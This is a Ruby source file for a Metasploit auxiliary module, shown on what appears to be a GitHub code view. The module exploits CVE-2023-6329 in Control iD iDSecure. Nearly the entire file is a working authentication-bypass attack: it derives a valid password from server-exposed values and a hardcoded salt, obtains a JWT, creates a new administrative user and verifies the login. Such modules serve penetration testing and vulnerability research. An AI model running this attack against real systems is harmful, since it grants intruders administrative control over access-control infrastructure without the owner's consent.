rapid7/metasploit-framework

View on GitHub
modules/auxiliary/admin/http/idsecure_auth_bypass.rb

Summary

Maintainability
C
1 day
Test Coverage
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  CheckCode = Exploit::CheckCode

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Control iD iDSecure Authentication Bypass (CVE-2023-6329)',
        'Description' => %q{
          This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an
          unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.
        },
        'Author' => [
          'Michael Heinzl', # MSF Module
          'Tenable' # Discovery and PoC
        ],
        'References' => [
          ['CVE', '2023-6329'],
          ['URL', 'https://www.tenable.com/security/research/tra-2023-36']
        ],
        'DisclosureDate' => '2023-11-27',
        'DefaultOptions' => {
          'RPORT' => 30443,
          'SSL' => 'True'
        },
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('NEW_USER', [true, 'The new administrative user to add to the system', Rex::Text.rand_text_alphanumeric(8)]),
      OptString.new('NEW_PASSWORD', [true, 'Password for the specified user', Rex::Text.rand_text_alphanumeric(12)])
    ])
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'api/util/configUI')
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return CheckCode::Unknown
    end

    return CheckCode::Unknown unless res&.code == 401

    data = res.get_json_document
    version = data['Version']
    return CheckCode::Unknown if version.nil?

    print_status('Got version: ' + version)
    return CheckCode::Safe unless Rex::Version.new(version) <= Rex::Version.new('4.7.43.0')

    return CheckCode::Appears
  end

  def run
    # 1) Obtain the serial and passwordRandom
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/login/unlockGetData')
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end
    unless res.code == 200
      fail_with(Failure::UnexpectedReply, res.to_s)
    end

    json = res.get_json_document
    unless json.key?('passwordRandom') && json.key?('serial')
      fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial')
    end

    password_random = json['passwordRandom']
    serial = json['serial']
    print_good('Retrieved passwordRandom: ' + password_random)
    print_good('Retrieved serial: ' + serial)

    # 2) Create passwordCustom
    sha1_hash = Digest::SHA1.hexdigest(serial)
    combined_string = sha1_hash + password_random + 'cid2016'
    sha256_hash = Digest::SHA256.hexdigest(combined_string)
    short_hash = sha256_hash[0, 6]
    password_custom = short_hash.to_i(16).to_s
    print_status("Created passwordCustom: #{password_custom}")

    # 3) Login with passwordCustom and passwordRandom to obtain a JWT
    body = "{\"passwordCustom\": \"#{password_custom}\", \"passwordRandom\": \"#{password_random}\"}"

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'uri' => normalize_uri(target_uri.path, 'api/login/'),
      'data' => body
    })

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end
    unless res.code == 200
      fail_with(Failure::UnexpectedReply, res.to_s)
    end

    json = res.get_json_document
    unless json.key?('accessToken')
      fail_with(Failure::UnexpectedReply, 'Did not receive JWT')
    end

    access_token = json['accessToken']
    print_good('Retrieved JWT: ' + access_token)

    # 4) Add a new administrative user
    body = {
      idType: '1',
      name: datastore['NEW_USER'],
      user: datastore['NEW_USER'],
      newPassword: datastore['NEW_PASSWORD'],
      password_confirmation: datastore['NEW_PASSWORD']
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'headers' => {
        'Authorization' => "Bearer #{access_token}"
      },
      'uri' => normalize_uri(target_uri.path, 'api/operator/'),
      'data' => body
    })

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, res.to_s)
    end

    json = res.get_json_document
    unless json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK'
      fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s)
    end

    # 5) Confirm credentials work
    body = {
      username: datastore['NEW_USER'],
      password: datastore['NEW_PASSWORD'],
      passwordCustom: nil
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'uri' => normalize_uri(target_uri.path, 'api/login/'),
      'data' => body
    })

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, res.to_s)
    end

    json = res.get_json_document
    unless json.key?('accessToken') && json.key?('unlock')
      fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
    end

    store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json.to_s)
    print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.")
    print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/login'))}")
  end
end